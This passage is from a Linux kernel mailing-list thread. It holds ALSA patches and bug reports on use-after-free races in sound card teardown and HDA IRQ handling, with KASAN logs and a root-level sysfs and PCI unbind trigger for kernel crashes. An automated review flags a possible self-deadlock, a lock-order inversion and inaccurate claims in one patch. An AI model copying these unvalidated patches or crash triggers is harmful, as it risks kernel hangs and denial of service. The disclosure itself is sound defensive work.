- /* replace file->f_op with special dummy operations */
- list_for_each_entry(mfile, &card->files_list, list) {
- /* it's critical part, use endless loop */
- /* we have no room to fail */
- mfile->disconnected_f_op = mfile->file->f_op;
-
- scoped_guard(spinlock, &shutdown_lock)
- list_add(&mfile->shutdown_list, &shutdown_files);
-
- mfile->file->f_op = &snd_shutdown_f_ops;
- fops_get(mfile->file->f_op);
- }
- }
+ mutex_lock(&card->disconnect_mutex);
+ get_device(&card->card_dev);
+
+ spin_lock(&card->files_lock);
+ if (card->shutdown) {
+ /* already fully disconnected by a previous call that this
+ * call waited on via disconnect_mutex */
+ spin_unlock(&card->files_lock);
+ put_device(&card->card_dev);
+ mutex_unlock(&card->disconnect_mutex);
+ return;
+ }
+ card->shutdown = 1;
+
+ /* replace file->f_op with special dummy operations */
+ list_for_each_entry(mfile, &card->files_list, list) {
+ /* it's critical part, use endless loop */
+ /* we have no room to fail */
+ mfile->disconnected_f_op = mfile->file->f_op;
+
+ spin_lock(&shutdown_lock);
+ list_add(&mfile->shutdown_list, &shutdown_files);
+ spin_unlock(&shutdown_lock);
+
+ mfile->file->f_op = &snd_shutdown_f_ops;
+ fops_get(mfile->file->f_op);
+ }
+ spin_unlock(&card->files_lock);
#ifdef CONFIG_PM
/* wake up sleepers here before other callbacks for avoiding potential
@@ -558,6 +572,9 @@
}
snd_power_sync_ref(card);
+
+ put_device(&card->card_dev); /* drop the teardown pin */
+ mutex_unlock(&card->disconnect_mutex);
}
EXPORT_SYMBOL(snd_card_disconnect);
--
2.47.1
[PATCH 2/3] ALSA: hda: split the lock_devices pseudo-lock from
card->shutdown
--- a/sound/hda/common/codec.c
+++ b/sound/hda/common/codec.c
@@ -1751,7 +1751,9 @@
guard(spinlock)(&card->files_lock);
if (card->shutdown)
return -EINVAL;
- card->shutdown = 1;
+ if (card->pseudo_locked)
+ return -EINVAL;
+ card->pseudo_locked = 1;
if (!list_empty(&card->ctl_files))
goto err_clear;
@@ -1768,7 +1770,7 @@
return 0;
err_clear:
- card->shutdown = 0;
+ card->pseudo_locked = 0;
return -EINVAL;
}
EXPORT_SYMBOL_GPL(snd_hda_lock_devices);
@@ -1782,7 +1784,7 @@
struct snd_card *card = bus->card;
guard(spinlock)(&card->files_lock);
- card->shutdown = 0;
+ card->pseudo_locked = 0;
}
EXPORT_SYMBOL_GPL(snd_hda_unlock_devices);
--
2.47.1
[PATCH 3/3] ALSA: hda: quiesce the codec at codec-device disconnect
--- a/sound/hda/common/codec.c
+++ b/sound/hda/common/codec.c
@@ -826,6 +826,26 @@
return 0;
}
+static int snd_hda_codec_dev_disconnect(struct snd_device *device)
+{
+ struct hda_codec *codec = device->device_data;
+ cancel_delayed_work_sync(&codec->jackpoll_work);
+ snd_refcount_sync(&codec->pcm_ref);
+ device_release_driver(hda_codec_dev(codec));
+ return 0;
+}
+
/**
* snd_hda_codec_unregister - Unregister specified codec device
* @codec: codec device to unregister
@@ -970,6 +990,7 @@
int err;
static const struct snd_device_ops dev_ops = {
.dev_register = snd_hda_codec_dev_register,
+ .dev_disconnect = snd_hda_codec_dev_disconnect,
.dev_free = snd_hda_codec_dev_free,
};
--
2.47.1
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: core: pin and serialize snd_card_register() against disconnect/free (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (38 preceding siblings ...)
2026-12-01 13:12 ` ALSA: core: serialize card disconnect/free and quiesce codecs before device release (UAF) 徐晗翔
@ 2026-12-01 13:14 ` 徐晗翔
2026-12-01 13:16 ` ALSA: hda/intel: serialize IRQ (de)registration against card teardown (UAF) 徐晗翔
2026-12-01 13:18 ` ALSA: hda/hdmi: hold pcm_lock for the unlocked hdmi_present_sense() callers (Data race) 徐晗翔
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 13:14 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_card_register() is re-entered on an already-registered card by the
HDA reconfig path (reconfig_codec() -> snd_card_register(),
sound/hda/common/sysfs.c) and by hda_codec_driver_probe()
(sound/hda/common/bind.c: "if (!codec->bus->bus_probing &&
codec->card->registered) snd_card_register(codec->card)"). On that
path it performs four entirely unlocked operations:
- reads card->registered and, on the !registered branch, calls
device_add(&card->card_dev) (init.c:890-894) - device_add() does
not check the "dead" flag that device_del()/kill_device() set, so
this fully re-registers a card that device_del() already tore out
of sysfs;
- walks card->devices with snd_device_register_all() (init.c:906 / rc5:900 ->
sound/core/device.c: list_for_each_entry, dereferencing
dev->state and calling dev->ops->dev_register);
- re-inserts snd_cards[card->number] = card under snd_card_mutex
(init.c:928 / rc5:922), which can land AFTER snd_card_disconnect() cleared
the same slot (init.c:556) - the two critical sections have no
ordering;
- calls snd_info_card_register(card) (init.c:930 / rc5:926), touching
card->id / card->proc_root / card->proc_root_link.
Concurrently, snd_card_free() -> snd_card_disconnect() + put_device()
tears the same card down: device_del, minor removals,
snd_device_free_all() (list_del + kfree of every snd_device) and
finally kfree(card). No lock, reference or barrier is shared between
the register side and the teardown side. The release fires
synchronously in whichever task drops the last card reference - the
register side holds no reference - so the two traversals (register vs
free_all) and the register-side late writes all race freed memory.
Verified on mainline 7.3 with a KASAN kernel, QEMU/KVM x86_64 guest
and an emulated Intel HDA controller, hammering sysfs reconfig x
PCI unbind/bind: "BUG: KASAN: wild-memory-access in
snd_device_register_all+0x51/0xb0, Read of size 4 at addr
dead000000000118" (a LIST_POISON-derived pointer) with the call chain
"snd_device_register_all <- snd_card_register <- azx_probe_work",
followed within the same second by
"Oops: general protection fault, probably for non-canonical address
0xdead000000000118" with "RIP: 0010:snd_device_register_all+0x51/0xb0"
- i.e. the collision escalates from a UAF read to a hard kernel Oops
(the task died; the guest survived because panic_on_oops=0). The
register-side traversal needs no privileges beyond admin-level sysfs
access to trigger; consequence: kernel Oops / memory corruption.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Verified on Linux 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP
PREEMPT_DYNAMIC and RE-CHECKED on Linux 7.4.0-rc5 (#1, 2026-12-01) -
both vanilla mainline trees, unmodified sources, KASAN enabled,
QEMU/KVM x86_64 guest with -device intel-hda + hda-duplex,
CONFIG_SND_HDA_RECONFIG=y. The audited files
(sound/core/init.c, sound/core/device.c,
sound/hda/common/sysfs.c, sound/hda/common/bind.c,
drivers/base/core.c) are byte-identical between the tested tree and
the report baseline; line numbers below are from 7.3, with the
7.4-rc5 anchors in parentheses where they drifted (device_add is at
drivers/base/core.c:3645 in rc5, kill_device at 3890/3930 - logic
unchanged). Re-check result on 7.4-rc5: snd_card_register() and
snd_device_register_all() are unchanged, device_add() still has no
"dead" check, and the same hammering on a 7.4-rc5 KASAN guest
produced free-phase use-after-free reports in
snd_device_free_all()/__snd_device_free() ending in an
"Oops: stack segment" - the lifecycle gap of the companion
card-lifecycle mail is confirmed on rc5 as well (the targeted run to
land the exact register_all wild-pointer form on rc5 is queued; the
7.3 capture above remains the reference evidence for that form).
* Mechanism
card->devices has no lock of its own; its safety rests entirely on
the create/register/disconnect/free phases not overlapping. The
HDA reconfig path breaks that: reconfig_codec() runs
device_reprobe() (creating new snd_devices with snd_device_new()
mid-list) and then calls snd_card_register() on the live card,
while an unrelated PCI unbind can be anywhere inside
snd_card_free()'s disconnect or release phase for the same card.
Concretely:
- snd_device_register_all() (sound/core/device.c:189-202) reads
dev->list.next and dev->state for every entry; the release side
does list_del() + kfree(dev) per entry (device.c:222-239) - a
register-side traversal that lands on a deleted (poisoned) or
freed node is the captured wild-memory-access/Oops;
- card->registered: snd_card_disconnect() clears it after
device_del (init.c:551 / rc5:545); snd_card_register() reading false
afterwards calls device_add(&card->card_dev) on a card whose
teardown is already running - device_add() does not check the
kill_device() "dead" flag (drivers/base/core.c:3643-3724 vs
3888-3904), so sysfs/kobject/PM registrations are rebuilt for
an object that kfree(card) then releases;
- snd_cards[]: the "already registered" check and the re-insert
(init.c:910/928) sit in their own snd_card_mutex section while
the disconnect side clears the slot in its own (init.c:556) -
re-insert after clear leaves a permanent dangling global entry,
and every later snd_card_ref() (init.c:389-399) does
get_device(&card->card_dev) on it: either resurrecting a
zero-count card that kfree(card) releases anyway (callers left
holding references into freed memory) or atomically updating a
freed object;
- snd_info_card_register(card) (sound/core/info.c:501-519) reads
card->id / card->proc_root / card->proc_root_link on the same
racing object.
* Trigger model
root/admin-level sysfs: one writer looping
"echo 1 > /sys/class/sound/hwC0D0/reconfig", another doing PCI
unbind/bind rounds on the HDA controller, no ALSA files open. The
collision windows are the whole disconnect/free duration (multiple
device_del calls plus synchronize_irq), well over a millisecond per
round. Consequence: kernel Oops (observed), poisoned-list
dereference, dangling global table entry.
* Reproducer and results on 7.3 (still present as of 7.4-rc5)
Pure userspace hammering (reconfig x unbind/bind). Captured: the
wild-memory-access KASAN report and the follow-up GPF Oops quoted
above (both in full serial logs, retained); plus independent full
guest freezes from the same interleaving family (the companion
lifecycle race mail covers that face with a sysrq dump).
* Fix (full patch below)
Pin the card (get_device/put_device) and hold a new
card->disconnect_mutex for the whole snd_card_register() body, with
an explicit bail-out when card->shutdown is set (the check sits
under the same mutex as the disconnect-side flag write, so the two
are ordered): the register side can then never walk card->devices
against the release phase, never re-add a card that is going away,
and never resurrect snd_cards[] for a dying card. The mutex is the
same one the companion card-lifecycle series introduces; if that
series is applied first, the two hunks touching the mutex
field/init here are redundant and only the snd_card_register() hunk
is needed. The patch below is self-contained.
The patch is regenerated against 7.4-rc5 (patch --dry-run passes
cleanly) and reviewed by inspection; it has not been
runtime-validated (the reported reproduction used the unpatched
kernel). Happy to test any counter-proposal.
* Patch
snd_card_register() re-entry on a live card (HDA reconfig path and
hda_codec_driver_probe()) walks card->devices, re-reads/writes
card->registered, re-inserts snd_cards[] and registers info entries
with no serialization against a concurrent snd_card_disconnect()/
snd_card_free(). The release fires as soon as the last card
reference drops, so the release-phase list_del()+kfree() of the
snd_devices races the register-side traversal: observed as
"wild-memory-access in snd_device_register_all" reading a
LIST_POISON-derived pointer (dead000000000118) and escalating to a
general protection fault Oops in the same second. The registered
race also allows device_add() on a card that device_del() already
marked dead (device_add() checks nothing), and a late snd_cards[]
re-insert leaves a dangling global entry that later snd_card_ref()
callers dereference.
Pin the card and serialize the whole function with a new
card->disconnect_mutex (also held by snd_card_disconnect(); see the
companion lifecycle series), bail out when card->shutdown is set, and
drop our reference on every exit.
--- a/include/sound/core.h
+++ b/include/sound/core.h
@@ -139,6 +139,7 @@
state */
spinlock_t files_lock; /* lock the files for this card */
int shutdown; /* this card is going down */
+ struct mutex disconnect_mutex; /* serializes disconnect/free/register */
struct completion *release_completion;
struct device *dev; /* device assigned to this card */
struct device card_dev; /* cardX object for sysfs */
--- a/sound/core/init.c
+++ b/sound/core/init.c
@@ -324,6 +324,7 @@
xa_init(&card->ctl_hash);
#endif
spin_lock_init(&card->files_lock);
+ mutex_init(&card->disconnect_mutex);
INIT_LIST_HEAD(&card->files_list);
mutex_init(&card->memory_mutex);
#ifdef CONFIG_PM
@@ -887,10 +888,23 @@
if (snd_BUG_ON(!card))
return -EINVAL;
+ /* pin the card and serialize against disconnect/free: the re-entry
+ * below must neither walk card->devices against the release phase
+ * nor resurrect snd_cards[] for a card that is going away */
+ get_device(&card->card_dev);
+ guard(mutex)(&card->disconnect_mutex);
+
+ if (card->shutdown) {
+ put_device(&card->card_dev);
+ return -ENODEV;
+ }
+
if (!card->registered) {
err = device_add(&card->card_dev);
- if (err < 0)
+ if (err < 0) {
+ put_device(&card->card_dev);
return err;
+ }
card->registered = true;
} else {
if (card->managed)
@@ -899,17 +913,23 @@
if (card->managed) {
err = devm_add_action(card->dev, trigger_card_free, card);
- if (err < 0)
+ if (err < 0) {
+ put_device(&card->card_dev);
return err;
+ }
}
err = snd_device_register_all(card);
- if (err < 0)
+ if (err < 0) {
+ put_device(&card->card_dev);
return err;
+ }
scoped_guard(mutex, &snd_card_mutex) {
if (snd_cards[card->number]) {
/* already registered */
- return snd_info_card_register(card); /* register pending info */
+ err = snd_info_card_register(card); /* register pending info */
+ put_device(&card->card_dev);
+ return err < 0 ? err : 0;
}
if (*card->id) {
/* make a unique id name from the given string */
@@ -928,13 +948,16 @@
snd_cards[card->number] = card;
}
err = snd_info_card_register(card);
- if (err < 0)
+ if (err < 0) {
+ put_device(&card->card_dev);
return err;
+ }
#if IS_ENABLED(CONFIG_SND_MIXER_OSS)
if (snd_mixer_oss_notify_callback)
snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
#endif
+ put_device(&card->card_dev);
return 0;
}
EXPORT_SYMBOL(snd_card_register);
--
2.47.1
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: hda/intel: serialize IRQ (de)registration against card teardown (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (39 preceding siblings ...)
2026-12-01 13:14 ` ALSA: core: pin and serialize snd_card_register() against disconnect/free (UAF) 徐晗翔
@ 2026-12-01 13:16 ` 徐晗翔
2026-12-01 13:29 ` sashiko-bot
2026-12-01 13:18 ` ALSA: hda/hdmi: hold pcm_lock for the unlocked hdmi_present_sense() callers (Data race) 徐晗翔
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 13:16 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
When an HDA codec verb times out, azx_rirb_get_response() walks a
fallback ladder and, with MSI enabled, calls disable_msi_reset_irq()
(sound/hda/controllers/intel.c:2088-2103): free_irq(bus->irq, chip),
pci_free_irq_vectors(), then azx_acquire_irq() ->
pci_alloc_irq_vectors() + request_irq(chip->pci->irq, azx_interrupt,
IRQF_SHARED, chip->card->irq_descr, chip) (intel.c:792-817). This
compound sequence runs with no lock at all, from contexts that never
take the PCI device lock - the jackpoll delayed work
(sound/hda/common/codec.c:640-654) and the DRM audio component
notification path (sound/hda/codecs/hdmi/intelhdmi.c:157-174; the
callback only filters PM_EVENT_SUSPEND) - and per-codec regmaps only
serialize verbs within one codec, so on multi-codec systems two
contexts can enter disable_msi_reset_irq() on the same chip
simultaneously (each codec waits on its own regmap; the RIRB response
slots are per-address). Meanwhile the teardown path
azx_remove() -> snd_card_free() -> ... -> azx_dev_free() -> azx_free()
executes free_irq(bus->irq, chip) (intel.c:1396-1397) equally
unlocked, reads bus->irq without resetting it to -1 afterwards, and
proceeds to release the chip memory (struct azx is embedded in the
card private area, freed by kfree(card)) while
snd_hdac_i915_exit() - which finally unregisters the DRM audio
component that feeds the notify path - only runs at the very end of
azx_free() (intel.c:1405-1406), i.e. after free_irq.
The interleavings:
- double free_irq: azx_free() reads a stale bus->irq and frees the
same line the fallback path is also freeing (or the fallback
self-converges from two codecs at once);
- pci_free_irq_vectors() concurrent with pci_alloc_irq_vectors():
half-configured MSI/INTX domain, chip->pci->irq inconsistent
between the racing threads;
- request-after-free (worst case): the fallback's request_irq()
completes AFTER azx_free()'s free_irq and after kfree(card): the
handler azx_interrupt is then registered on a shared INTX line
with a dev_id pointing into freed memory - every interrupt from
any line sharer dereferences freed chip/bus/reg_lock state
(sound/hda/common/controller.c:1061-1110), and chip->card->irq_descr
(the request_irq name string, init.c:346-347) is read from freed
memory at registration time.
Each verb costs up to two 1000ms response timeouts before the
fallback is entered (snd_hdac_bus_get_response_rirb,
sound/hda/core/controller.c:322 "msecs_to_jiffies(1000)"; the response
path retries once in polling mode), so the in-flight window is about
two seconds wide - far wider than a concurrent unbind. Note the verb
paths themselves have no shutdown gate (codec_exec_() and the bus
command path never check bus->shutdown), so a teardown cannot stop an
in-flight verb from entering the fallback.
Source-analysis based: verified environment boundary documented below.
The locking gap itself is plain from the code - free_irq /
pci_alloc_irq_vectors / request_irq are individually irq-subsystem
safe, but the compound "free -> free-vectors -> alloc-vectors ->
request" has no caller-level atomicity, and nothing serializes it
against object release.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Source-verified on Linux 7.3.0 and RE-CHECKED on Linux 7.4.0-rc5
(#1, 2026-12-01) - both vanilla mainline trees, unmodified sources,
KASAN enabled, QEMU/KVM x86_64 guest with -device intel-hda
+ hda-duplex, snd_hda_intel builtin. Re-check result: the fallback
ladder (azx_rirb_get_response), disable_msi_reset_irq(),
azx_acquire_irq() and the azx_free() IRQ section are all unchanged
in 7.4-rc5 (the rc5 diff to intel.c touches only probe-failure
handling, quirks and a devm allocation helper); 7.4-rc5 adds a new
snd_hdac_bus_reset_response_counter() call after response timeouts,
which unblocks later verbs to the same codec but does not touch the
IRQ (de)registration path. The proposed patch applies cleanly to
7.4-rc5 (patch --dry-run passes). The audited files
(sound/hda/controllers/intel.c, sound/hda/common/controller.c,
sound/hda/core/controller.c, sound/hda/common/codec.c) are
byte-identical between the tested tree and the report baseline;
line numbers below are from 7.3.
* Mechanism
- disable_msi_reset_irq() (intel.c:2088-2103) is only entered from
azx_rirb_get_response() when chip->msi is set; it then clears
chip->msi (L2097) and azx_acquire_irq() takes the INTX branch
(L797-802). If pci_alloc_irq_vectors(PCI_IRQ_INTX) itself fails,
the function returns -EIO without any disconnect; only "INTX
allocation succeeded but request_irq() failed" (-EBUSY: line
exclusively claimed or IRQF_TRIGGER mismatch with an existing
action; -ENOMEM) reaches snd_card_disconnect(chip->card) at
L811 - which is the in-flight-disconnect trigger of the
companion card-lifecycle report.
- The IRQ bookkeeping state (bus->irq, chip->msi,
card->sync_irq at intel.c L814-815/L2094-2095, init.c:540-541) is
plain unlocked integer state shared by the fallback context, the
PM resume path and the teardown.
- azx_free() (intel.c:1348-1409): chip->running = 0 (L1363) does
not stop the notify path (intel_pin_eld_notify() checks only the
codec power state, intelhdmi.c:169-170); free_irq runs at
L1396-1397 with no bus->irq = -1 bookkeeping and no
synchronization; snd_hdac_i915_exit() (acomp unregister) runs at
L1405-1406, after free_irq - so a hotplug notification arriving
during azx_free() can still send verbs, time out and enter the
fallback while the IRQ is already gone.
- azx_dev_free() (intel.c:1422-1426) is the SNDRV_DEV_LOWLEVEL
dev_free: in snd_card_free()'s release phase it runs after the
codec devices were already freed by the same
snd_device_free_all() pass, so the fallback can also race kfree()
of the codec structures it is sending verbs to.
* Trigger model
1. a real verb timeout (PCIe surprise removal / bus fault /
firmware hang; hbus->no_response_fallback == 0 is the default),
with chip->msi enabled (the norm on Intel controllers);
2. plus either (a) a concurrent PCI unbind/hot-remove, or (b) a
second codec timing out at the same time (jackpoll_ms module
parameter arms the poll work; hotplug/modeset arms the DRM
notify path; GFHDMI/LOONGSON/ZHAOXIN controllers default to
polling mode and time out more readily, intel.c:1908-1935).
Under (a)/(b) the outcomes are the interleavings listed above:
double free_irq (irqaction UAF / "Trying to free already-free
IRQ"), torn vector-domain state, or azx_interrupt() registered with
a freed dev_id on a shared INTX line (interrupt storm / UAF on
every line trigger). Requires root/admin-level operations or a
hardware fault to arm; consequence: kernel crash / DoS, with the
freed-handler registration as a corruption primitive.
* Reproducer and results on 7.3 (still present as of 7.4-rc5)
Dynamic verification attempted in the KASAN QEMU environment with
jackpoll_ms armed (500ms, then the 50ms parameter floor) and PCI
remove+rescan churn overlapping reconfig/PCM verb traffic: QEMU
performs orderly PCI removal - the ->remove callback completes
before any MMIO/CORB-RIRB resource disappears - so no verb ever
times out and disable_msi_reset_irq() is never entered (both runs
clean; one run wedged in the unrelated card-lifecycle hang of the
companion mail). This mail is therefore source-analysis based: the
missing serialization is directly visible in the code quoted above,
and the environment boundary (orderly removal vs surprise removal)
is documented rather than papered over. Logs retained.
* Fix (full patch below)
1. add chip->irq_mutex and hold it across the whole compound
sequence in disable_msi_reset_irq()/azx_acquire_irq() and around
azx_free()'s free_irq();
2. set hda->freed = 1 BEFORE the IRQ teardown in azx_free() (today
it is only set at the very end) and refuse new
azx_acquire_irq()/disable_msi_reset_irq() work when set -
closing the request-after-free face, since a fallback waiting on
the mutex bails out instead of registering a handler on freed
memory;
3. bookkeeping: azx_free() now sets bus->irq = -1 after
free_irq() (previously the stale line number survived and made
the double free possible).
The patch is regenerated against 7.4-rc5 (patch --dry-run passes
cleanly) and reviewed by inspection; it has not been runtime-
validated (see the environment boundary above). Happy to test any
counter-proposal.
* Patch
disable_msi_reset_irq() (verb-timeout fallback) tears down and re-arms
the controller IRQ with no locking, from jackpoll work / DRM audio
component contexts, and azx_free() frees the same IRQ without any
synchronization and without clearing bus->irq. Interleavings range
from double free_irq() and torn PCI vector-domain state to
request_irq() completing after the chip memory was freed, leaving a
shared-line handler with a dev_id into freed memory.
Serialize all IRQ (de)registration under chip->irq_mutex, set
hda->freed before the IRQ teardown and refuse fallback work once set,
and fix the bus->irq bookkeeping.
--- a/sound/hda/common/hda_controller.h
+++ b/sound/hda/common/hda_controller.h
@@ -119,6 +119,7 @@
/* locks */
struct mutex open_mutex; /* Prevents concurrent open/close operations */
+ struct mutex irq_mutex; /* serializes IRQ (de)registration vs teardown */
/* PCM */
struct list_head pcm_list; /* azx_pcm list */
--- a/sound/hda/controllers/intel.c
+++ b/sound/hda/controllers/intel.c
@@ -792,7 +792,12 @@
static int azx_acquire_irq(struct azx *chip, int do_disconnect)
{
struct hdac_bus *bus = azx_bus(chip);
+ struct hda_intel *hda = container_of(chip, struct hda_intel, chip);
int ret;
+
+ guard(mutex)(&chip->irq_mutex);
+ if (hda->freed)
+ return -EIO;
if (!chip->msi || pci_alloc_irq_vectors(chip->pci, 1, 1, PCI_IRQ_MSI) < 0) {
ret = pci_alloc_irq_vectors(chip->pci, 1, 1, PCI_IRQ_INTX);
@@ -1393,8 +1398,12 @@
azx_stop_chip(chip);
}
+ /* refuse in-flight verb-timeout fallbacks before the IRQ goes away */
+ hda->freed = 1;
+ guard(mutex)(&chip->irq_mutex);
if (bus->irq >= 0)
- free_irq(bus->irq, (void*)chip);
+ free_irq(bus->irq, (void *)chip);
+ bus->irq = -1;
azx_free_stream_pages(chip);
azx_free_streams(chip);
@@ -1404,8 +1413,6 @@
if (chip->driver_caps & AZX_DCAPS_I915_COMPONENT)
snd_hdac_i915_exit(bus);
-
- hda->freed = 1;
}
static int azx_dev_disconnect(struct snd_device *device)
@@ -1802,6 +1809,7 @@
chip = &hda->chip;
mutex_init(&chip->open_mutex);
+ mutex_init(&chip->irq_mutex);
chip->card = card;
chip->pci = pci;
chip->ops = &pci_hda_ops;
@@ -2088,7 +2096,12 @@
static int disable_msi_reset_irq(struct azx *chip)
{
struct hdac_bus *bus = azx_bus(chip);
+ struct hda_intel *hda = container_of(chip, struct hda_intel, chip);
int err;
+
+ guard(mutex)(&chip->irq_mutex);
+ if (hda->freed)
+ return -EIO;
free_irq(bus->irq, chip);
bus->irq = -1;
--
2.47.1
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: hda/intel: serialize IRQ (de)registration against card teardown (UAF)
2026-12-01 13:16 ` ALSA: hda/intel: serialize IRQ (de)registration against card teardown (UAF) 徐晗翔
@ 2026-12-01 13:29 ` sashiko-bot
0 siblings, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-12-01 13:29 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 4 potential
issues to consider:
- [High] ALSA: hda/intel: self-deadlock on chip->irq_mutex in
disable_msi_reset_irq()
- [High] ALSA: hda/intel: missing Signed-off-by trailer in commit
message
- [High] ALSA: hda/intel: unscoped guard(mutex) in azx_free() inverts
lock order
- [Medium] ALSA: hda/intel: inaccurate locking and teardown claims in
commit message
--
commit 01684f20070bf15ff72cde8229db69092a0e8f9e
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: hda/intel: serialize IRQ (de)registration against card teardown (UAF)
>
> When an HDA codec verb times out, azx_rirb_get_response() walks a
> fallback ladder and, with MSI enabled, calls disable_msi_reset_irq()
> (sound/hda/controllers/intel.c:2088-2103): free_irq(bus->irq, chip),
> pci_free_irq_vectors(), then azx_acquire_irq() ->
> pci_alloc_irq_vectors() + request_irq(chip->pci->irq, azx_interrupt,
> IRQF_SHARED, chip->card->irq_descr, chip) (intel.c:792-817). This
> compound sequence runs with no lock at all, from contexts that never
> take the PCI device lock - the jackpoll delayed work
> (sound/hda/common/codec.c:640-654) and the DRM audio component
> notification path (sound/hda/codecs/hdmi/intelhdmi.c:157-174; the
> callback only filters PM_EVENT_SUSPEND) - and per-codec regmaps only
> serialize verbs within one codec, so on multi-codec systems two
> contexts can enter disable_msi_reset_irq() on the same chip
> simultaneously (each codec waits on its own regmap; the RIRB response
> slots are per-address). Meanwhile the teardown path
> azx_remove() -> snd_card_free() -> ... -> azx_dev_free() -> azx_free()
> executes free_irq(bus->irq, chip) (intel.c:1396-1397) equally
> unlocked, reads bus->irq without resetting it to -1 afterwards, and
> proceeds to release the chip memory (struct azx is embedded in the
> card private area, freed by kfree(card)) while
> snd_hdac_i915_exit() - which finally unregisters the DRM audio
> component that feeds the notify path - only runs at the very end of
> azx_free() (intel.c:1405-1406), i.e. after free_irq.
[Severity: Medium]
Are the concurrency and teardown descriptions in this commit message
accurate?
Every verb execution and RIRB response wait on a controller holds the
bus-wide bus->core.cmd_mutex (in call_exec_verb(),
snd_hdac_bus_exec_verb(), and probe_codec()) across the entire command,
timeout wait, and azx_rirb_get_response() -> disable_msi_reset_irq()
fallback ladder, so two codecs on the same bus cannot enter
disable_msi_reset_irq() concurrently.
In addition, struct azx is not embedded in the card private area freed by
kfree(card): azx_probe() passes extra_size = 0 to snd_card_new(), and
azx_create() allocates struct hda_intel with devm_kzalloc_obj(&pci->dev,
*hda), which lives until devres release after pci_driver->remove returns.
During snd_card_free(), snd_device_free_all() also frees all non-lowlevel
devices (including SNDRV_DEV_CODEC) in its first pass before calling
azx_dev_free() -> azx_free() for SNDRV_DEV_LOWLEVEL in the second pass.
Freeing SNDRV_DEV_CODEC runs hda_codec_driver_remove(), which cancels
codec->jackpoll_work and calls snd_hda_hdmi_generic_remove() (clearing the
DRM audio component notifier and canceling per_pin->work) before
azx_free() is entered.
Finally, the commit message includes raw bug-report template sections
(* Test environment / affected version, * Mechanism, * Trigger model,
* Reproducer and results, * Fix (full patch below), * Patch) that
duplicate the changelog description.
>
> The interleavings:
>
> - double free_irq: azx_free() reads a stale bus->irq and frees the
> same line the fallback path is also freeing (or the fallback
> self-converges from two codecs at once);
>
> - pci_free_irq_vectors() concurrent with pci_alloc_irq_vectors():
> half-configured MSI/INTX domain, chip->pci->irq inconsistent
> between the racing threads;
>
> - request-after-free (worst case): the fallback's request_irq()
> completes AFTER azx_free()'s free_irq and after kfree(card): the
> handler azx_interrupt is then registered on a shared INTX line
> with a dev_id pointing into freed memory - every interrupt from
> any line sharer dereferences freed chip/bus/reg_lock state
> (sound/hda/common/controller.c:1061-1110), and chip->card->irq_descr
> (the request_irq name string, init.c:346-347) is read from freed
> memory at registration time.
>
> Each verb costs up to two 1000ms response timeouts before the
> fallback is entered (snd_hdac_bus_get_response_rirb,
> sound/hda/core/controller.c:322 "msecs_to_jiffies(1000)"; the response
> path retries once in polling mode), so the in-flight window is about
> two seconds wide - far wider than a concurrent unbind. Note the verb
> paths themselves have no shutdown gate (codec_exec_() and the bus
> command path never check bus->shutdown), so a teardown cannot stop an
> in-flight verb from entering the fallback.
>
> Source-analysis based: verified environment boundary documented below.
> The locking gap itself is plain from the code - free_irq /
> pci_alloc_irq_vectors / request_irq are individually irq-subsystem
> safe, but the compound "free -> free-vectors -> alloc-vectors ->
> request" has no caller-level atomicity, and nothing serializes it
> against object release.
>
> The detailed description:
>
> * Test environment / affected version (still present as of 7.4-rc5)
>
> Source-verified on Linux 7.3.0 and RE-CHECKED on Linux 7.4.0-rc5
> (#1, 2026-12-01) - both vanilla mainline trees, unmodified sources,
> KASAN enabled, QEMU/KVM x86_64 guest with -device intel-hda
> + hda-duplex, snd_hda_intel builtin. Re-check result: the fallback
> ladder (azx_rirb_get_response), disable_msi_reset_irq(),
> azx_acquire_irq() and the azx_free() IRQ section are all unchanged
> in 7.4-rc5 (the rc5 diff to intel.c touches only probe-failure
> handling, quirks and a devm allocation helper); 7.4-rc5 adds a new
> snd_hdac_bus_reset_response_counter() call after response timeouts,
> which unblocks later verbs to the same codec but does not touch the
> IRQ (de)registration path. The proposed patch applies cleanly to
> 7.4-rc5 (patch --dry-run passes). The audited files
> (sound/hda/controllers/intel.c, sound/hda/common/controller.c,
> sound/hda/core/controller.c, sound/hda/common/codec.c) are
> byte-identical between the tested tree and the report baseline;
> line numbers below are from 7.3.
>
> * Mechanism
>
> - disable_msi_reset_irq() (intel.c:2088-2103) is only entered from
> azx_rirb_get_response() when chip->msi is set; it then clears
> chip->msi (L2097) and azx_acquire_irq() takes the INTX branch
> (L797-802). If pci_alloc_irq_vectors(PCI_IRQ_INTX) itself fails,
> the function returns -EIO without any disconnect; only "INTX
> allocation succeeded but request_irq() failed" (-EBUSY: line
> exclusively claimed or IRQF_TRIGGER mismatch with an existing
> action; -ENOMEM) reaches snd_card_disconnect(chip->card) at
> L811 - which is the in-flight-disconnect trigger of the
> companion card-lifecycle report.
>
> - The IRQ bookkeeping state (bus->irq, chip->msi,
> card->sync_irq at intel.c L814-815/L2094-2095, init.c:540-541) is
> plain unlocked integer state shared by the fallback context, the
> PM resume path and the teardown.
>
> - azx_free() (intel.c:1348-1409): chip->running = 0 (L1363) does
> not stop the notify path (intel_pin_eld_notify() checks only the
> codec power state, intelhdmi.c:169-170); free_irq runs at
